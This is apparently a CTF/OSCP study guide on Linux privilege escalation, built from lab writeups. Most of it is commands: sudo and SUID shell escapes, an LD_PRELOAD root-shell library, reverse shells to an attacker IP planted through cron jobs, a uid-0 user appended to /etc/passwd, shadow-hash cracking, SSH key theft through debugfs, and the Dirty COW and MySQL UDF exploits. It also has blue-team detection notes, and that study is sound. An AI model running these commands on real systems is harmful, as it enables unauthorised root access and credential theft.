Linux Privilege Escalation — Complete Writeup Analysis (OSCP Edition)
A comprehensive Linux privilege escalation reference distilled from 60+ TryHackMe, HackTheBox, and Proving Grounds writeups. Covers sudo abuse, SUID, capabilities, cron jobs, kernel exploits, LXD escape, and more — with real machine examples and detection notes.
TL;DR
Linux privilege escalation is consistently the decisive phase in CTF machines and OSCP labs. After gaining a low-privilege foothold, the path to root typically runs through one of the patterns below. This guide distills the techniques that appear most frequently across 60+ writeups.
| Category | Techniques |
|---|---|
| Enumeration | LinPEAS, LinEnum, manual checklist |
| sudo abuse | NOPASSWD GTFOBins, LD_PRELOAD, writable scripts, service path traversal |
| SUID abuse | find, gdb, python, php, strace, base64, systemctl, bash |
| Capabilities | cap_setuid (python2/3), cap_net_admin |
| Cron jobs | Writable script, wildcard injection (tar), DNS hijack + curl pipe bash, vulnerable tool CVE |
| File permission | Writable /etc/passwd, readable /etc/shadow |
| Service abuse | MySQL UDF, running-as-root services |
| Container escape | LXD/LXC, Docker group |
| disk group | debugfs → read raw device → SSH key extraction |
| Credential reuse | Config files, service DBs, pspy + credential harvest |
| Kernel exploits | Dirty COW (CVE-2016-5195), others |
| Misc | NFS no_root_squash, PATH hijacking |
The Mental Model
flowchart TD
A["Low-privilege shell\n(www-data / user)"]
subgraph ENUM["🔍 Enumerate"]
E1["sudo -l"]
E2["find / -perm -4000"]
E3["getcap -r / 2>/dev/null"]
E4["cat /etc/crontab"]
E5["LinPEAS / LinEnum"]
end
subgraph PATH["⬆️ Escalation Paths"]
P1["sudo GTFOBins"]
P2["SUID binary"]
P3["Capability abuse"]
P4["Cron job hijack"]
P5["Kernel exploit"]
P6["LXD / Docker"]
end
ROOT["Root shell 🏁"]
A --> ENUM
ENUM --> PATH
P1 & P2 & P3 & P4 & P5 & P6 --> ROOT
style A fill:#c0392b,color:#fff
style ROOT fill:#27ae60,color:#fff
Quick Decision Matrix
| Vector | Detection command | Exploitability | Seen in |
|---|---|---|---|
| sudo NOPASSWD | sudo -l | Instant if GTFOBins binary | Simple CTF, Jordak, BBScute, Daily Bugle, Sunday, StuxCTF |
| SUID abuse | find / -perm -4000 -type f | One-liner via GTFOBins | Gaara, Astronaut, Image, Jarvis, Linux PrivEsc |
| cap_setuid | getcap -r / 2>/dev/null | One-liner (python/perl) | Levram, Katana |
| Cron writable | cat /etc/crontab; ls -la <script> | Append reverse shell | GlasgowSmile, Law, Ochima, Funbox, Solidstate |
| Cron wildcard | cat /etc/crontab | File-name injection | Linux PrivEsc, Cockpit, Funboxeasyenum |
| Cron DNS hijack | cat /etc/crontab + check /etc/hosts | /etc/hosts + curl pipe bash | Overpass |
| Cron + tool CVE | cat /etc/crontab + tool version | RCE via tool vuln | HTB Pilgrimage (binwalk) |
| LXD group | id → lxd group | Container mount to /mnt/root | Tabby |
| disk group | id → disk group | debugfs → raw device read | Extplorer, Fanatastic |
| MySQL UDF | Running as root, plugin dir writable | Custom .so → RCE | Linux PrivEsc |
| Dirty COW | uname -r (< 4.8.3) | Race condition overwrite | Linux PrivEsc, Driftingblue6 |
| LD_PRELOAD | sudo -l env_keep | Inject .so into sudo process | Linux PrivEsc |
| Readable shadow | ls -la /etc/shadow | Offline hash crack (john) | Linux PrivEsc |
| Credential reuse | Config files, service DBs | su / SSH with found password | Codo, Fired, Btrsys2, Mr Robot, Mantis |
Phase 0 — Enumeration
Before trying any technique, always enumerate thoroughly. Missing a single SUID bit or cron job is the most common reason people get stuck.
Manual Checklist
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 1. Who am I?
id && whoami && groups
# 2. sudo rights
sudo -l
# 3. SUID/SGID binaries
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
# 4. Linux Capabilities
getcap -r / 2>/dev/null
# 5. Cron jobs
cat /etc/crontab
ls -la /etc/cron* /var/spool/cron/
# 6. Writable files owned by root
find / -writable -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | grep -v " "
# 7. Kernel version
uname -r
# 8. Users and passwords
cat /etc/passwd
cat /etc/shadow 2>/dev/null
# 9. Network services running as root
ps aux | grep root
ss -tlnp
Automated Tools
1
2
3
4
5
6
7
8
# LinPEAS — most comprehensive
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# LinEnum
./LinEnum.sh -s -k keyword -r report -e /tmp/
# linux-exploit-suggester-2
perl linux-exploit-suggester-2.pl
Workflow: Always run
sudo -landgetcapmanually first — these take seconds and cover the two highest-yield vectors. Then run LinPEAS for anything deeper.
1. sudo Misconfiguration
1a. NOPASSWD + GTFOBins Binary
The most common quick win. sudo -l reveals a binary the user can run as root without a password — and that binary appears on GTFOBins.
1
2
3
4
5
6
# Check sudo rights
sudo -l
# Example output:
# User mitch may run the following commands:
# (root) NOPASSWD: /usr/bin/vim
Common binaries and their escape commands:
| Binary | Command | Seen in |
|---|---|---|
vim | sudo vim -c ':!/bin/bash' or :!bash in command mode | Simple CTF |
find | sudo find . -exec /bin/sh \; -quit | Linux Privilege Escalation |
env | sudo env /bin/bash | Jordak |
nano | sudo nano, then ^R^X → reset; sh 1>&0 2>&0 | Linux Privilege Escalation |
less | sudo less /etc/passwd, then !/bin/bash | Linux Privilege Escalation |
python | sudo python -c 'import os; os.system("/bin/bash")' | Multiple |
bash | sudo bash | StuxCTF |
wget | TF=$(mktemp); echo '#!/bin/sh\n/bin/bash' > $TF; chmod +x $TF; sudo wget --use-askpass=$TF http://127.0.0.1 | HTB Sunday |
yum | TF=$(mktemp -d); echo $'[main]\nplugins=1' > $TF/yum.conf; echo $'[id]\nname=p\nplugin_path='$TF'\n[...]' > ...; sudo yum -c $TF/yum.conf | Daily Bugle |
hping3 | sudo hping3 --icmp target, then at hping3> prompt: /bin/sh -p | BBScute |
strace | sudo strace -o /dev/null /bin/sh -p | Image (SUID) |
flowchart LR
A["sudo -l reveals\nNOPASSWD: /usr/bin/vim"]
B["sudo vim -c ':!/bin/bash'"]
C["Shell spawned as root\n(vim forks /bin/bash without\ndropping privileges)"]
A --> B --> C
style C fill:#27ae60,color:#fff
1b. Writable Script in sudo Rule
Sometimes the binary is a custom script that the user can write to:
1
2
3
4
5
# sudoers: (root) NOPASSWD: /opt/scripts/mysql-backup.sh
# But the script uses unquoted variables — bash comparison bypass
sudo /opt/scripts/mysql-backup.sh
# Enter the password prompt and provide a wildcard → comparison bypass
Real case: HTB Codify — mysql-backup.sh performed an unquoted bash string comparison that could be bypassed with *, leading to root password disclosure.
1c. LD_PRELOAD (env_keep)
If sudo -l shows env_keep+=LD_PRELOAD, a malicious shared library can be injected into any sudo command:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Compile a shared library that spawns a root shell
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0); setuid(0);
system("/bin/bash");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
# Run any sudo-allowed binary with LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so find
Seen in: TryHackMe Linux PrivEsc
1d. sudo service — Path Traversal
If sudo /usr/sbin/service is allowed without a password, the service name argument can be used as a path traversal to execute an arbitrary binary:
1
2
3
# sudoers: (root) NOPASSWD: /usr/sbin/service
sudo /usr/sbin/service ../../bin/bash
# Root shell
The service command ultimately calls /etc/init.d/<arg> — by injecting ../../bin/bash as the argument, execution reaches /bin/bash as root.
Seen in: Crane
2. SUID Abuse
When a binary has the SUID bit set, it runs as its owner (usually root) regardless of who executes it.
1
2
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
flowchart TD
A["find / -perm -4000 -type f"]
B{"Binary in GTFOBins?"}
C["One-liner → root shell"]
D["Check for version-specific exploits"]
A --> B
B -- Yes --> C
B -- No --> D
style C fill:#27ae60,color:#fff
Common SUID Exploits
find with SUID:
1
2
find . -exec /bin/sh -p \; -quit
# -p: preserve effective UID (do not drop root)
gdb with SUID (Gaara):
1
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
python with SUID:
1
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
base64 with SUID — read any file as root (Linux Privilege Escalation):
1
base64 /etc/shadow | base64 --decode
systemctl with SUID (Jarvis):
1
2
3
4
5
6
7
8
9
10
# Create a malicious service unit
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "chmod u+s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
systemctl link $TF
systemctl enable --now $TF
# Then: /bin/bash -p
php with SUID (Astronaut):
1
php -r 'pcntl_exec("/bin/sh", ["-p"]);'
strace with SUID (Image):
1
2
strace -o /dev/null /bin/sh -p
# strace runs as root (SUID), spawns /bin/sh inheriting root
hping3 with SUID:
1
2
3
# At the hping3 interactive prompt:
hping3
hping3> /bin/sh -p
Reference: Always check GTFOBins for every unusual SUID binary. The project catalogs hundreds of abuse paths.
3. Linux Capabilities
Capabilities are a fine-grained privilege mechanism. cap_setuid=ep on a binary is effectively equivalent to SUID — it allows the process to change its UID to 0.
1
2
3
4
5
getcap -r / 2>/dev/null
# Example output:
# /usr/bin/python3.10 = cap_setuid+ep
# /usr/bin/python2.7 = cap_setuid+ep
# /usr/bin/ping = cap_net_raw+ep
sequenceDiagram
participant U as Low-privilege user
participant P as python3 (cap_setuid)
participant S as /bin/bash
U->>P: python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Note over P: cap_setuid allows setuid(0)
P->>S: os.system("/bin/bash")
S->>U: Root shell (#)
One-liner:
1
2
# python with cap_setuid
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
| Capability | Implication |
|---|---|
cap_setuid | Can setuid(0) → full root escalation |
cap_net_raw | Raw socket access (packet sniffing, ARP spoofing) |
cap_dac_override | Bypass file read/write permission checks |
cap_sys_admin | Near-root: mount, syslog, etc. |
4. Cron Job Exploitation
Cron jobs run as root but may execute files that low-privilege users can modify.
1
2
3
cat /etc/crontab
# Example:
# * * * * * root /opt/cleanup.sh
4a. Writable Script
If the cron script is writable, append a reverse shell payload:
1
2
3
4
5
6
ls -la /opt/cleanup.sh
# -rwxrwxr-x root root /opt/cleanup.sh ← writable by others!
echo 'busybox nc 10.10.14.5 4444 -e /bin/bash' >> /opt/cleanup.sh
nc -nlvp 4444
# Wait for cron to fire → root shell
Seen in: GlasgowSmile, Law
4b. Wildcard Injection (tar)
If a cron script runs tar cf /backup.tar * in a writable directory, filenames starting with -- are interpreted as tar options:
1
2
3
4
5
6
7
8
9
10
11
12
# Target cron: tar cf /backup/archive.tar /home/user/*
# Create a reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<attacker> LPORT=4444 -f elf -o shell.elf
chmod +x shell.elf
# Create fake "option" files
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=shell.elf'
# Wait for cron → root reverse shell
nc -nlvp 4444
Seen in: TryHackMe Linux PrivEsc, Cockpit, Funboxeasyenum
sequenceDiagram
participant CR as cron (root)
participant TAR as tar
participant SH as shell.elf
CR->>TAR: tar cf archive.tar *
Note over TAR: * expands to all files including<br/>--checkpoint=1<br/>--checkpoint-action=exec=shell.elf
TAR->>SH: exec shell.elf (as root)
SH-->>CR: Reverse shell to attacker
4c. Cron + /etc/hosts DNS Hijack
If a cron job runs curl http://<hostname>/script.sh | bash and the hostname is in /etc/hosts (writable), you can redirect the curl request to your own server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat /etc/crontab
# * * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
# Check /etc/hosts permissions
ls -la /etc/hosts
# -rw-rw-rw- 1 root root /etc/hosts ← writable!
# Redirect the hostname to attacker IP
echo '10.10.14.5 overpass.thm' >> /etc/hosts
# On attacker: serve a reverse shell
mkdir -p /var/www/html/downloads/src/
echo '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.5/4444 0>&1' > /var/www/html/downloads/src/buildscript.sh
python3 -m http.server 80
nc -nlvp 4444
# Wait for cron → root shell
Seen in: Overpass
4d. Cron + Vulnerable Tool (CVE Abuse)
If a cron job executes a tool with a known CVE, exploit the vulnerability to get RCE as root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# cron: * * * * * root /usr/sbin/malwarescan.sh
cat /usr/sbin/malwarescan.sh
# #!/bin/bash
# ... uses binwalk to scan uploaded files
# Check binwalk version
binwalk --help | head -3
# Binwalk v2.3.2 ← CVE-2022-4510 (path traversal RCE)
# Create a malicious PNG with embedded payload
# The CVE allows writing a .so to a known path during extraction
python3 binwalk_CVE-2022-4510.py malicious.png <attacker_ip> <port>
nc -nlvp 4444
# Drop malicious file to the scanned directory, wait for cron
Seen in: HTB Pilgrimage (binwalk CVE-2022-4510)
5. Writable /etc/passwd
If /etc/passwd is world-writable, add a new root-equivalent user:
1
2
3
4
5
6
7
8
9
10
ls -la /etc/passwd
# -rw-rw-rw- 1 root root /etc/passwd ← writable!
# Generate a password hash
openssl passwd -1 -salt hacker password123
# $1$hacker$...
# Append a new root user (uid=0)
echo 'hacker:$1$hacker$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker # enter: password123
6. Readable /etc/shadow → Hash Cracking
If /etc/shadow is readable (misconfigured permissions), extract and crack hashes offline:
1
2
3
4
5
6
7
8
9
10
ls -la /etc/shadow
# -rw-r--r-- root root /etc/shadow ← world-readable!
cat /etc/shadow
# root:$6$...long_hash...:18561:0:99999:7:::
echo '$6$...<root_hash>...' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# or
hashcat -m 1800 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Seen in: TryHackMe Linux PrivEsc, Linux Privilege Escalation
7. MySQL UDF Exploitation
If MySQL is running as root and you have root credentials (e.g., empty password), a malicious User Defined Function can execute OS commands as root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Connect as MySQL root
mysql -u root
# Load a malicious UDF shared library
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
# Create UDF
create function do_system returns integer soname 'raptor_udf2.so';
# Execute OS command (create SUID bash)
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
exit
/tmp/rootbash -p
# root shell
Compile the UDF:
1
2
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
Seen in: TryHackMe Linux PrivEsc
8. LXD / LXC Container Escape
If the current user is in the lxd group, they can create a privileged container and mount the host filesystem:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
id
# uid=1000(ash) gid=1000(ash) groups=1000(ash),116(lxd)
# On attacker machine: build minimal Alpine image
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder && ./build-alpine
# Transfer the .tar.gz to target
# On target:
lxd init # accept all defaults
lxc image import alpine.tar.gz --alias myimage
lxc init myimage privesc -c security.privileged=true
lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
# Now inside container (as root):
cat /mnt/root/root/root.txt
chroot /mnt/root /bin/bash # full root shell on host filesystem
Seen in: HTB Tabby
flowchart LR
A["User in lxd group"]
B["Create privileged container\nsecurity.privileged=true"]
C["Mount host / to /mnt/root"]
D["lxc exec → container root"]
E["chroot /mnt/root\n→ host root access"]
A --> B --> C --> D --> E
style E fill:#27ae60,color:#fff
9. disk Group — debugfs Raw Device Access
If the current user is in the disk group, they can use debugfs to read raw block devices — including the root filesystem. This allows direct extraction of files like /root/.ssh/id_rsa without filesystem permission checks.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
id
# uid=1000(user) gid=1000(user) groups=1000(user),6(disk)
# List block devices
lsblk
# NAME MAJ:MIN RM SIZE
# sda 8:0 0 20G 0 disk
# └─ubuntu--vg-ubuntu--lv 253:0 0 20G 0 lvm
# Open the volume with debugfs
debugfs /dev/mapper/ubuntu--vg-ubuntu--lv
# Extract root's SSH private key
debugfs: cat /root/.ssh/id_rsa
# -----BEGIN OPENSSH PRIVATE KEY-----
# ...
# Save and use
chmod 600 id_rsa
ssh -i id_rsa root@localhost
Seen in: Extplorer, Fanatastic
10. Credential Reuse from Config Files
One of the most underrated but frequently successful vectors: applications store plaintext or weakly-hashed credentials in config files. After gaining a low-privilege shell, always grep for passwords.
1
2
3
4
5
6
7
8
9
10
11
# Common config locations
grep -r "password\|passwd\|secret\|credential" /var/www/html/ 2>/dev/null
grep -r "DB_PASS\|db_password\|db_pass" /var/www/ 2>/dev/null
find / -name "*.conf" -o -name "config.php" -o -name "wp-config.php" 2>/dev/null | xargs grep -l "pass" 2>/dev/null
# Found a password → try su
su root
su <other_user>
# Try SSH reuse
ssh root@localhost -p 22
Process monitoring with pspy — catches credentials passed on the command line:
1
2
./pspy64 # or pspy32
# Watch for: mysqldump, cron scripts, scripts with --password= flags
Real cases:
- Codo:
/var/www/html/sites/default/config.php→ passwordFatPanda123→su root - Fired: Openfire DB → password →
su root - Btrsys2-1: direct
su -with passwordroottoor - Mantis:
mysqldumpin pspy → password → pivot tosudo -lfull access
11. Kernel Exploits — Dirty COW (CVE-2016-5195)
Kernel exploits are a last resort — noisy and can crash the system. Check the kernel version first.
1
2
3
4
5
uname -r
# 4.4.0 → likely vulnerable to Dirty COW
perl linux-exploit-suggester-2.pl
# → suggests dirtycow, etc.
Dirty COW exploits a race condition in the copy-on-write mechanism to overwrite any read-only file — including SUID binaries.
1
2
3
4
5
6
# Download / transfer c0w.c (Dirty COW exploit)
gcc -pthread c0w.c -o c0w
./c0w
# Replaces /usr/bin/passwd with a root-shell binary
/usr/bin/passwd
# Root shell
Seen in: TryHackMe Linux PrivEsc
Warning: Dirty COW can cause kernel panics and data corruption on production systems. Use only in lab/CTF environments.
12. NFS no_root_squash
If a share is exported with no_root_squash, a remote root user can write SUID files to that share:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Check exports from the victim
cat /etc/exports
# /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
# On attacker (as root): mount the NFS share
mount -o rw,vers=2 <victim_ip>:/tmp /mnt/nfs
# Create a SUID shell on the share
cp /bin/bash /mnt/nfs/bash
chmod +xs /mnt/nfs/bash
# On victim:
/tmp/bash -p
# Root shell
13. PATH Hijacking
If a SUID binary or sudo-allowed script calls a command without an absolute path, create a malicious binary with the same name in a directory earlier in $PATH:
1
2
3
4
5
6
7
8
9
10
11
# Example: SUID binary calls "service apache2 restart"
strings /usr/local/bin/suid-binary | grep -v "^/"
# → "service" (relative path)
# Hijack PATH
mkdir /tmp/hijack
echo '#!/bin/bash\nbash -p' > /tmp/hijack/service
chmod +x /tmp/hijack/service
export PATH=/tmp/hijack:$PATH
/usr/local/bin/suid-binary
# Root shell
Privilege Escalation Workflow
flowchart TD
START["Low-privilege shell obtained"]
A["sudo -l"]
B{"NOPASSWD entry?"}
B1["GTFOBins → instant root"]
C["find / -perm -4000"]
D{"Unusual SUID?"}
D1["GTFOBins → root"]
E["getcap -r /"]
F{"cap_setuid?"}
F1["setuid(0) → root"]
G["cat /etc/crontab\nls -la scripts"]
H{"Writable script?"}
H1["Append payload → root"]
I["LinPEAS full scan"]
J["Check kernel version"]
K["Last resort: kernel exploit"]
START --> A --> B
B -- Yes --> B1
B -- No --> C --> D
D -- Yes --> D1
D -- No --> E --> F
F -- Yes --> F1
F -- No --> G --> H
H -- Yes --> H1
H -- No --> I --> J --> K
style B1 fill:#27ae60,color:#fff
style D1 fill:#27ae60,color:#fff
style F1 fill:#27ae60,color:#fff
style H1 fill:#27ae60,color:#fff
style K fill:#e67e22,color:#fff
Detection & Hardening (Blue Team)
| Vector | Detection | Mitigation |
|---|---|---|
| sudo GTFOBins | Audit /etc/sudoers against GTFOBins list | Remove unnecessary NOPASSWD entries; use command paths, not directories |
| SUID abuse | find / -perm -4000 baseline + daily diff | Remove SUID from non-essential binaries; use nosuid mount options |
| cap_setuid | getcap -r / in CI/CD audits | Assign only required capabilities; avoid cap_setuid on interpreters |
| Cron hijack | File integrity monitoring on cron scripts | Restrict write permissions; use root-owned, 700-permission scripts |
| LXD escape | Audit group membership; restrict lxd group | Remove users from lxd group unless required |
| Dirty COW | uname -r monitoring; patch management | Apply kernel patches (> 4.8.3 fixed) |
Machine Index by Technique
| Technique | Machines |
|---|---|
| sudo GTFOBins (vim/find/env/nano/less/bash) | Simple CTF, Jordak, StuxCTF, Linux PrivEsc |
| sudo GTFOBins (wget/yum) | HTB Sunday, Daily Bugle |
| sudo GTFOBins (hping3/strace) | BBScute, Image |
| sudo service path traversal | Crane |
| sudo writable script | HTB Codify, HTB Nibbles, Jarvis |
| sudo LD_PRELOAD | Linux PrivEsc |
| SUID gdb | Gaara |
| SUID php | Astronaut |
| SUID strace | Image |
| SUID systemctl | HTB Jarvis |
| SUID base64 | Linux Privilege Escalation |
| SUID find / custom find wrapper | Nibbles (PG), Mzeeav |
| cap_setuid python | Levram, Katana |
| Cron writable script | GlasgowSmile, Law, Ochima, Funbox, Flu, HTB Solidstate |
| Cron wildcard (tar) | Linux PrivEsc, Cockpit, Funboxeasyenum |
| Cron DNS hijack (/etc/hosts) | Overpass |
| Cron + tool CVE (binwalk) | HTB Pilgrimage |
| disk group + debugfs | Extplorer, Fanatastic |
| Credential reuse from configs | Codo, Fired, Btrsys2-1, Mantis |
| LXD container escape | HTB Tabby |
| MySQL UDF | Linux PrivEsc |
| Kernel (Dirty COW) | Linux PrivEsc, Driftingblue6 |
| Password hash cracking | Linux PrivEsc, Linux Privilege Escalation |
Key Takeaways
- Always start with
sudo -landgetcap— these are the fastest, highest-yield checks - Cross-reference every unusual SUID/capability/sudo binary with GTFOBins before writing custom exploits
- Cron + writable script = reliable root — even with no SUID or sudo, check cron permissions
- Kernel exploits are a last resort — noisy, crash-prone, but sometimes the only path
- LXD group membership = root — check
idforlxdordockergroup membership immediately after getting a shell
References
- GTFOBins — Curated list of Unix binaries for privilege escalation
- HackTricks: Linux Privilege Escalation
- LinPEAS — Linux Privilege Escalation Awesome Script
- Linux Exploit Suggester 2
- CVE-2016-5195 (Dirty COW)
- CVE-2022-4510 (binwalk RCE)
- Related writeups: Simple CTF, Gaara, Levram, Katana, Jordak, GlasgowSmile, Law, Ochima, Funbox, Overpass, BBScute, Crane, Astronaut, Image, Extplorer, Fanatastic, Codo, Mantis, Driftingblue6, Linux PrivEsc, Linux Privilege Escalation, HTB Tabby, HTB Jarvis, HTB Codify, HTB Pilgrimage, HTB Sunday, Daily Bugle
- Related tech posts: SUID find Deep Dive